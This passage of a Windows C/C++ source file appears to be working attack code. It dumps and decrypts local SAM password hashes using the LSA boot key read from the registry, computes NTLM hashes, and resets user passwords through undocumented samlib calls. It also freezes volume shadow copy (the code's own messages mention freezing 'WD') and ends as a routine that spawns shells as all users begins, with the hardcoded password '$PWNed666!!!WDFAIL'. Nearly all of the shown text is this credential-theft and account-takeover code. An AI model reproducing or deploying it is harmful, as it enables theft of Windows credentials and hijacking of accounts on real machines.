1706  		goto cleanup;
1707  	
1708  	}
1709  
1710  
1711  	cldthreadargs.hcleanupevent = hreleaseevent;
1712  	cldthreadargs.hlock = hlock;
1713  	cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL);
1714  	
1715  	hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid);
1716  	if (!hthread2) {
1717  		printf("Unable to create worker thread, error : %d", GetLastError());
1718  		retval = false;
1719  		goto cleanup;
1720  	}
1721  
1722  
1723  
1724  	hobj[0] = hthread2;
1725  	hobj[1] = cldthreadargs.hvssready;
1726  	waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE);
1727  
1728  	if (waitres - WAIT_OBJECT_0 == 0)
1729  	{
1730  		printf("Unable to freeze WD, thread exited prematurely.\n");
1731  		retval = false;
1732  	}
1733  
1734  cleanup:
1735  
1736  
1737  	if (hthread)
1738  		CloseHandle(hthread);
1739  	if(hthread2)
1740  		CloseHandle(hthread2);
1741  	if(cldthreadargs.hvssready)
1742  		CloseHandle(cldthreadargs.hvssready);
1743  	if (ovd.hEvent)
1744  		CloseHandle(ovd.hEvent);
1745  	if (hfile)
1746  		CloseHandle(hfile);
1747  	if (dircreated)
1748  		RemoveDirectory(workdir);
1749  
1750  	return retval;
1751  
1752  
1753  
1754  }
1755  //////////////////////////////////////////////////////////////////////
1756  // Volume shadow copy functions end
1757  /////////////////////////////////////////////////////////////////////
1758  
1759  
1760  
1761  void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) {
1762  	size_t len = strlen(hex_string);
1763  	if (len % 2 != 0) {
1764  		fprintf(stderr, "Error: Hex string length must be even.\n");
1765  		return;
1766  	}
1767  
1768  	size_t byte_len = len / 2;
1769  	if (byte_len > max_len) {
1770  		fprintf(stderr, "Error: Output buffer too small.\n");
1771  		return;
1772  	}
1773  
1774  	for (size_t i = 0; i < byte_len; i++) {
1775  		// Read two hex characters and convert them to an unsigned int
1776  		unsigned int byte_val;
1777  		if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) {
1778  			fprintf(stderr, "Error: Invalid hex character in string.\n");
1779  			return;
1780  		}
1781  		byte_array[i] = (unsigned char)byte_val;
1782  	}
1783  }
1784  
1785  bool GetLSASecretKey(unsigned char bootkeybytes[16])
1786  {
1787  
1788  	const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} };
1789  	int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };
1790  
1791  
1792  	//ORHKEY hlsa = NULL;
1793  	HKEY hlsa = NULL;
1794  	DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa);
1795  	char data[0x1000] = { 0 };
1796  	DWORD index = 0;
1797  	for (const wchar_t* keyname : keynames)
1798  	{
1799  		DWORD retsz = sizeof(data) / sizeof(char);
1800  		HKEY hbootkey = NULL;
1801  		err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey);
1802  
1803  		err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
1804  		index += retsz;
1805  		RegCloseKey(hbootkey);
1806  	}
1807  	//printf("%s\n", data);
1808  	RegCloseKey(hlsa);
1809  
1810  	if (strlen(data) < 16)
1811  	{
1812  		printf("Boot key mismatch.");
1813  		return 1;
1814  	}
1815  
1816  	// convert hex string to binary
1817  	unsigned char keybytes[16] = { 0 };
1818  	hex_string_to_bytes(data, keybytes, 16);
1819  
1820  
1821  
1822  	for (int i = 0; i < sizeof(keybytes); i++)
1823  	{
1824  
1825  		bootkeybytes[i] = keybytes[indices[i]];
1826  	}
1827  	return true;
1828  
1829  }
1830  
1831  void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen)
1832  {
1833  
1834  	char* decrypted = (char*)malloc(enclen);
1835  	memmove(decrypted, hashdata, enclen);
1836  	HCRYPTPROV hprov = NULL;
1837  
1838  	CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
1839  
1840  	struct aes128keyBlob
1841  	{
1842  		BLOBHEADER hdr;
1843  		DWORD keySize;
1844  		BYTE bytes[16];
1845  	} blob;
1846  
1847  	blob.hdr.bType = PLAINTEXTKEYBLOB;
1848  	blob.hdr.bVersion = CUR_BLOB_VERSION;
1849  	blob.hdr.reserved = 0;
1850  	blob.hdr.aiKeyAlg = CALG_AES_128;
1851  	blob.keySize = 16;
1852  	memmove(blob.bytes, lsaKey, 16);
1853  	HCRYPTKEY hcryptkey = NULL;
1854  	CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey);
1855  
1856  	DWORD mode = CRYPT_MODE_CBC;
1857  	CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL);
1858  	
1859  	CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
1860  
1861  	DWORD retsz = enclen;
1862  
1863  	CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
1864  	
1865  
1866  	/*
1867  	EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
1868  
1869  	int fulllen = 0;
1870  	int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv);
1871  	if (!retval)
1872  		return NULL;
1873  
1874  	//int decryptedsz = enclen;
1875  	retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen);
1876  	if (!retval)
1877  		return NULL;
1878  	retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen);
1879  	EVP_CIPHER_CTX_free(en);
1880  	if (!retval)
1881  		return NULL;
1882  	*/
1883  	if (decryptedlen)
1884  		*decryptedlen = retsz;
1885  
1886  	return decrypted;
1887  
1888  }
1889  
1890  #ifndef SHA256_DIGEST_LENGTH
1891  #define SHA256_DIGEST_LENGTH 32
1892  #endif
1893  
1894  bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH])
1895  {
1896  
1897  
1898  	char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH);
1899  	ZeroMemory(data2, SHA256_DIGEST_LENGTH);
1900  	HCRYPTPROV hprov = NULL;
1901  	CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
1902  	HCRYPTHASH Hhash = NULL;
1903  	CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash);
1904  	CryptHashData(Hhash, (const BYTE*)data, size, NULL);
1905  	DWORD md_len = 0;
1906  	DWORD inputsz = sizeof(md_len);
1907  	CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
1908  	//inputsz = size;
1909  	CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL);
1910  
1911  	CryptDestroyHash(Hhash);
1912  	CryptReleaseContext(hprov, NULL);
1913  	/*
1914  	EVP_MD_CTX* en = EVP_MD_CTX_new();
1915  
1916  	bool retval = EVP_DigestInit(en, EVP_sha256());
1917  	if (!retval)
1918  		return retval;
1919  	retval = EVP_DigestUpdate(en, data, size);
1920  	if (!retval)
1921  		return retval;
1922  	EVP_DigestFinal(en, (unsigned char*)hashout, NULL);
1923  	*/
1924  	//return retval;
1925  	return true;
1926  
1927  
1928  
1929  }
1930  
1931  void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz)
1932  {
1933  
1934  	int hashlen = data[0];
1935  	int enclen = data[4];
1936  
1937  	char iv[16] = { 0 };
1938  	memmove(iv, &data[8], sizeof(iv));
1939  
1940  	char* cyphertext = (char*)malloc(enclen);
1941  	memmove(cyphertext, &data[0x18], enclen);
1942  
1943  	// first arg, lsaKey | second arg, iv | thid arg, ciphertext
1944  	int outsz = 0;
1945  	int pekoutsz = 0;
1946  	char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz);
1947  
1948  	char* hashdata = (char*)malloc(hashlen);
1949  	memmove(hashdata, &data[0x18 + enclen], hashlen);
1950  
1951  	char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz);
1952  
1953  
1954  	char hash256[SHA256_DIGEST_LENGTH];
1955  
1956  	if (!ComputeSHA256(pek, pekoutsz, hash256))
1957  	{
1958  		return NULL;
1959  	}
1960  
1961  	if (memcmp(hash256, hash, sizeof(hash256)) != 0)
1962  	{
1963  		printf("Invalid AES password key.\n");
1964  		return NULL;
1965  	}
1966  	if (keysz)
1967  		*keysz = sizeof(hash256);
1968  
1969  
1970  	return pek;
1971  
1972  }
1973  
1974  void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz)
1975  {
1976  
1977  	int enctype = samKey[0x68];
1978  	if (enctype == 2) {
1979  		int endofs = samKey[0x6c] + 0x68;
1980  		int len = endofs - 0x70;
1981  
1982  		char* data = (char*)malloc(len);
1983  		memmove(data, &samKey[0x70], len);
1984  		void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz);
1985  
1986  		return retval;
1987  	}
1988  	__debugbreak();
1989  	return NULL;
1990  
1991  }
1992  
1993  void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz)
1994  {
1995  	int length = data[4];
1996  	if (!length)
1997  		return NULL;
1998  	char iv[16] = { 0 };
1999  	memmove(iv, &data[8], sizeof(iv));
2000  
2001  	int ciphertextsz = datasz - 24;
2002  	char* ciphertext = (char*)malloc(ciphertextsz);
2003  	memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz);
2004  	return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz);
2005  }
2006  
2007  void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz)
2008  {
2009  	int enctype = data[2];
2010  
2011  	switch (enctype)
2012  	{
2013  	case 2:
2014  
2015  		return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz);
2016  
2017  		break;
2018  	default:
2019  		__debugbreak();
2020  		break;
2021  	}
2022  
2023  	return NULL;
2024  
2025  
2026  }
2027  
2028  void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz)
2029  {
2030  	
2031  	char* ciphertext2 = (char*)malloc(ciphertextsz);
2032  	memmove(ciphertext2, ciphertext, ciphertextsz);
2033  	HCRYPTPROV hprov = NULL;
2034  	CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
2035  
2036  	struct deskeyBlob
2037  	{
2038  		BLOBHEADER hdr;
2039  		DWORD keySize;
2040  		BYTE bytes[8];
2041  	}blob;
2042  	//deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz);
2043  	blob.hdr.bType = PLAINTEXTKEYBLOB;
2044  	blob.hdr.bVersion = CUR_BLOB_VERSION;
2045  	blob.hdr.reserved = 0;
2046  	blob.hdr.aiKeyAlg = CALG_DES;
2047  	blob.keySize = 8;
2048  	memmove(blob.bytes, key, 8);
2049  	HCRYPTKEY hcryptkey = NULL;
2050  	CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey);
2051  
2052  	DWORD mode = CRYPT_MODE_ECB;
2053  	CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
2054  
2055  	DWORD retsz = ciphertextsz;
2056  
2057  	CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz);
2058  
2059  	if (outsz)
2060  		*outsz = 8;
2061  
2062  	//printf("GetLastError : %x\n", GetLastError());
2063  	CryptReleaseContext(hprov, NULL);
2064  	return ciphertext2;
2065  
2066  	/*
2067  	DWORD mode = CRYPT_MODE_ECB;
2068  	CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
2069  	printf("GetLastError : %x\n", GetLastError());
2070  
2071  	DWORD retsz = enclen;
2072  
2073  	CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
2074  	printf("GetLastError : %x\n", GetLastError());
2075  	*/
2076  	/*
2077  	OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy");
2078  	if (legacy == NULL)
2079  	{
2080  		printf("Failed to load Legacy provider\n");
2081  	}
2082  	
2083  	EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
2084  
2085  	int fulllen = 0;
2086  	int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL);
2087  
2088  	char* plaintext = (char*)malloc(ciphertextsz);
2089  	int _outsz = 0;
2090  	retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz);
2091  	int _outlen = 0;
2092  	retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen);
2093  
2094  	if (outsz)
2095  		*outsz = _outsz;
2096  
2097  	return plaintext;
2098  	*/
2099  }
2100  
2101  char* DeriveDESKey(char data[7])
2102  {
2103  
2104  
2105  	union keyderv {
2106  		struct {
2107  			char arr[8];
2108  		};
2109  		SIZE_T derv;
2110  	};
2111  	keyderv ttv = { 0 };
2112  	ZeroMemory(ttv.arr, sizeof(ttv.arr));
2113  	memmove(ttv.arr, data, sizeof(data) - 1);
2114  	SIZE_T k = ttv.derv;
2115  
2116  
2117  	char* key = (char*)malloc(sizeof(data));
2118  
2119  	for (int i = 0; i < 8; i++)
2120  	{
2121  		int j = 7 - i;
2122  		int curr = (k >> (7 * j)) & 0x7F;
2123  		int b = curr;
2124  		b ^= b >> 4;
2125  		b ^= b >> 2;
2126  		b ^= b >> 1;
2127  		int keybyte = (curr << 1) ^ (b & 1) ^ 1;
2128  		key[i] = (char)keybyte;
2129  	}
2130  	return key;
2131  }
2132  
2133  void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid)
2134  {
2135  
2136  	union keydata {
2137  		struct {
2138  			char a;
2139  			char b;
2140  			char c;
2141  			char d;
2142  		};
2143  		ULONG data;
2144  	};
2145  
2146  	keydata keycontent = { 0 };
2147  	keycontent.data = rid;
2148  	char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a };
2149  	char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d };
2150  
2151  	char* rkey1 = DeriveDESKey(key1);
2152  	char* rkey2 = DeriveDESKey(key2);
2153  
2154  
2155  	int plaintext1sz = 0;
2156  	int plaintext2sz = 0;
2157  	char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz);
2158  	if (!plaintext1)
2159  		return NULL;
2160  	char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz);
2161  	if (!plaintext2)
2162  		return NULL;
2163  	void* retval = malloc(plaintext1sz + plaintext2sz);
2164  
2165  	memmove(retval, plaintext1, plaintext1sz);
2166  	memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz);
2167  	if (outsz)
2168  		*outsz = plaintext1sz + plaintext2sz;
2169  	return retval;
2170  }
2171  
2172  void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid)
2173  {
2174  	int _outsz = 0;
2175  	void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz);
2176  	if (!dec)
2177  		return NULL;
2178  	int _hashoutsz = 0;
2179  	void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid);
2180  	if (outsz)
2181  		*outsz = _hashoutsz;
2182  	return _hash;
2183  }
2184  
2185  unsigned char* HexToHexString(unsigned char* data, int size)
2186  {
2187  	unsigned char* retval = (unsigned char*)malloc(size * 2 + 1);
2188  	ZeroMemory(retval, size + 1);
2189  	for (int i = 0; i < size; i++)
2190  	{
2191  		sprintf((char*)&retval[i * 2], "%02x", data[i]);
2192  	}
2193  
2194  	return retval;
2195  }
2196  
2197  #define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc
2198  #define SAM_DATABASE_USERNAME_OFFSET 0x0c
2199  #define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10
2200  #define SAM_DATABASE_LM_HASH_OFFSET 0x9c
2201  #define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0
2202  #define SAM_DATABASE_NT_HASH_OFFSET 0xa8
2203  #define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac
2204  
2205  struct PwdEnc
2206  {
2207  	char* buff;
2208  	size_t sz;
2209  	wchar_t* username;
2210  	ULONG usernamesz;
2211  	char* LMHash;
2212  	ULONG LMHashLenght;
2213  	char* NTHash;
2214  	ULONG NTHashLenght;
2215  	ULONG rid;
2216  
2217  };
2218  
2219  
2220  NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted);
2221  NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle);
2222  NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle);
2223  NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle);
2224  NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM);
2225  
2226  
2227  char* CalculateNTLMHash(char* _input)
2228  {
2229  
2230  	int pw_len = strlen(_input);
2231  	char* input = new char[pw_len * 2];
2232  	for (int i = 0; i < pw_len; i++)
2233  	{
2234  		input[i * 2] = _input[i];
2235  		input[i * 2 + 1] = '\0';
2236  	}
2237  
2238  	
2239  	unsigned int md_len = 0;
2240  
2241  	HCRYPTPROV hprov = NULL;
2242  
2243  	CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
2244  
2245  	HCRYPTHASH Hhash = NULL;
2246  	CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash);
2247  
2248  	CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL);
2249  
2250  	DWORD inputsz = sizeof(md_len);
2251  	CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
2252  	unsigned char* md_value = (unsigned char*)malloc(md_len);
2253  	inputsz = md_len;
2254  	CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL);
2255  
2256  	CryptDestroyHash(Hhash);
2257  	CryptReleaseContext(hprov, NULL);
2258  	/*
2259  	EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
2260  	EVP_DigestInit_ex(mdctx, EVP_md4(), NULL);
2261  	EVP_DigestUpdate(mdctx, input, pw_len * 2);
2262  	EVP_DigestFinal_ex(mdctx, md_value, &md_len);
2263  	EVP_MD_CTX_free(mdctx);
2264  	*/
2265  	/*
2266  	printf("Digest is: ");
2267  	for (int i = 0; i < md_len; i++)
2268  		printf("%02x", md_value[i]);
2269  	printf("\n");
2270  	*/
2271  	return (char*)md_value;
2272  
2273  }
2274  bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL)
2275  {
2276  
2277  	wchar_t libpath[MAX_PATH] = { 0 };
2278  	ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH);
2279  
2280  	HMODULE hm = LoadLibrary(libpath);
2281  	if (!hm)
2282  	{
2283  		printf("Failed to load samlib.dll\n");
2284  		return false;
2285  	}
2286  	NTSTATUS(WINAPI * _SamConnect)
2287  		(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect");
2288  	NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle");
2289  	NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle)
2290  		= (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain");
2291  	NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser");
2292  	NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser");
2293  
2294  
2295  	if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser)
2296  	{
2297  		printf("Failed to import required functions from samlib.dll\n");
2298  		return false;
2299  	}
2300  
2301  	HANDLE hsrv = NULL;
2302  	NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false);
2303  	if (stat)
2304  	{
2305  		printf("Failed to connect to SAM, error : 0x%0.8X\n", stat);
2306  		return false;
2307  	}
2308  	//printf("Connected to local SAM.\n");
2309  	LSA_OBJECT_ATTRIBUTES loa = { 0 };
2310  	LSA_HANDLE hlsa = NULL;
2311  	stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa);
2312  	if (stat)
2313  	{
2314  		printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat);
2315  		return false;
2316  	}
2317  	
2318  	POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0;
2319  	stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo);
2320  	if (stat)
2321  	{
2322  		printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat);
2323  		return false;
2324  	}
2325  	/*wchar_t* stringsid = 0;
2326  	if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid))
2327  	{
2328  		printf("Failed to get string sid, error : %d\n", GetLastError());
2329  		return false;
2330  	}
2331  	printf("Machine SID : %ws\n", stringsid);*/
2332  	LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0;
2333  	LSA_TRANSLATED_SID* lsatrans = 0;
2334  	LSA_UNICODE_STRING lsaunistr = { 0 };
2335  	RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username);
2336  	stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans);
2337  	if (stat)
2338  	{
2339  		printf("LsaLookupNames failed, error : 0x%0.8X\n", stat);
2340  		return false;
2341  	}
2342  	LsaClose(hlsa);
2343  	
2344  	HANDLE hdomain = NULL;
2345  	stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain);
2346  	if (stat)
2347  	{
2348  		printf("SamOpenDomain failed, error : 0x%0.8X\n", stat);
2349  		return false;
2350  	}
2351  
2352  	HANDLE huser = NULL;
2353  	stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser);
2354  	if (stat)
2355  	{
2356  		printf("SamOpenUser failed, error : 0x%0.8X\n", stat);
2357  		return false;
2358  	}
2359  
2360  	//char password[] = "testp";
2361  	//char* oldNTLM = CalculateNTLMHash((char*)"testp");
2362  	char* oldNTLM = (char*)nthash;
2363  	char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword);
2364  
2365  	char oldLm[16] = { 0 };
2366  	char newLm[16] = { 0 };
2367  	stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM);
2368  
2369  	if (stat)
2370  	{
2371  		printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat);
2372  		return false;
2373  	}
2374  	_SamCloseHandle(huser);
2375  	_SamCloseHandle(hdomain);
2376  	_SamCloseHandle(hsrv);
2377  	/*
2378  	if (newpassword) {
2379  		printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword);
2380  	}
2381  	else {
2382  		printf("Info : user \"%ws\" password has been changed back to older password\n", username);
2383  	}
2384  	*/
2385  	return true;
2386  }
2387  
2388  
2389  
2390  typedef struct _SYSTEM_PROCESS_INFORMATION2
2391  {
2392  	ULONG NextEntryOffset;
2393  	ULONG NumberOfThreads;
2394  	LARGE_INTEGER WorkingSetPrivateSize; // since VISTA
2395  	ULONG HardFaultCount; // since WIN7
2396  	ULONG NumberOfThreadsHighWatermark; // since WIN7
2397  	ULONGLONG CycleTime; // since WIN7
2398  	LARGE_INTEGER CreateTime;
2399  	LARGE_INTEGER UserTime;
2400  	LARGE_INTEGER KernelTime;
2401  	UNICODE_STRING ImageName;
2402  	KPRIORITY BasePriority;
2403  	HANDLE UniqueProcessId;
2404  	HANDLE InheritedFromUniqueProcessId;
2405  	ULONG HandleCount;
2406  	ULONG SessionId;
2407  	ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation)
2408  	SIZE_T PeakVirtualSize;
2409  	SIZE_T VirtualSize;
2410  	ULONG PageFaultCount;
2411  	SIZE_T PeakWorkingSetSize;
2412  	SIZE_T WorkingSetSize;
2413  	SIZE_T QuotaPeakPagedPoolUsage;
2414  	SIZE_T QuotaPagedPoolUsage;
2415  	SIZE_T QuotaPeakNonPagedPoolUsage;
2416  	SIZE_T QuotaNonPagedPoolUsage;
2417  	SIZE_T PagefileUsage;
2418  	SIZE_T PeakPagefileUsage;
2419  	SIZE_T PrivatePageCount;
2420  	LARGE_INTEGER ReadOperationCount;
2421  	LARGE_INTEGER WriteOperationCount;
2422  	LARGE_INTEGER OtherOperationCount;
2423  	LARGE_INTEGER ReadTransferCount;
2424  	LARGE_INTEGER WriteTransferCount;
2425  	LARGE_INTEGER OtherTransferCount;
2426  	SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation
2427  	// SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation
2428  	// SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation
2429  } SYSTEM_PROCESS_INFORMATION2, * PSYSTEM_PROCESS_INFORMATION2;
2430  
2431  BOOL SetPrivilege(
2432  	HANDLE hToken,          // access token handle
2433  	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
2434  	BOOL bEnablePrivilege   // to enable or disable privilege
2435  )
2436  {
2437  	TOKEN_PRIVILEGES tp;
2438  	LUID luid;
2439  
2440  	if (!LookupPrivilegeValue(
2441  		NULL,            // lookup privilege on local system
2442  		lpszPrivilege,   // privilege to lookup 
2443  		&luid))        // receives LUID of privilege
2444  	{
2445  		printf("LookupPrivilegeValue error: %u\n", GetLastError());
2446  		return FALSE;
2447  	}
2448  
2449  	tp.PrivilegeCount = 1;
2450  	tp.Privileges[0].Luid = luid;
2451  	if (bEnablePrivilege)
2452  		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2453  	else
2454  		tp.Privileges[0].Attributes = 0;
2455  
2456  	// Enable the privilege or disable all privileges.
2457  
2458  	if (!AdjustTokenPrivileges(
2459  		hToken,
2460  		FALSE,
2461  		&tp,
2462  		0,
2463  		(PTOKEN_PRIVILEGES)NULL,
2464  		(PDWORD)NULL))
2465  	{
2466  		printf("AdjustTokenPrivileges error: %u\n", GetLastError());
2467  		return FALSE;
2468  	}
2469  
2470  	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
2471  
2472  	{
2473  		printf("The token does not have the specified privilege. \n");
2474  		return FALSE;
2475  	}
2476  
2477  	return TRUE;
2478  }
2479  
2480  
2481  bool DoSpawnShellAsAllUsers(wchar_t* sampath)
2482  {
2483  	//SSL_library_init();
2484  	//SSL_load_error_strings();
2485  	char newpassword[] = "$PWNed666!!!WDFAIL";
2486  	wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL";
2487  	char* newNTLM = CalculateNTLMHash(newpassword);
2488  	bool isadmin = false;
2489  	char* retval = 0;
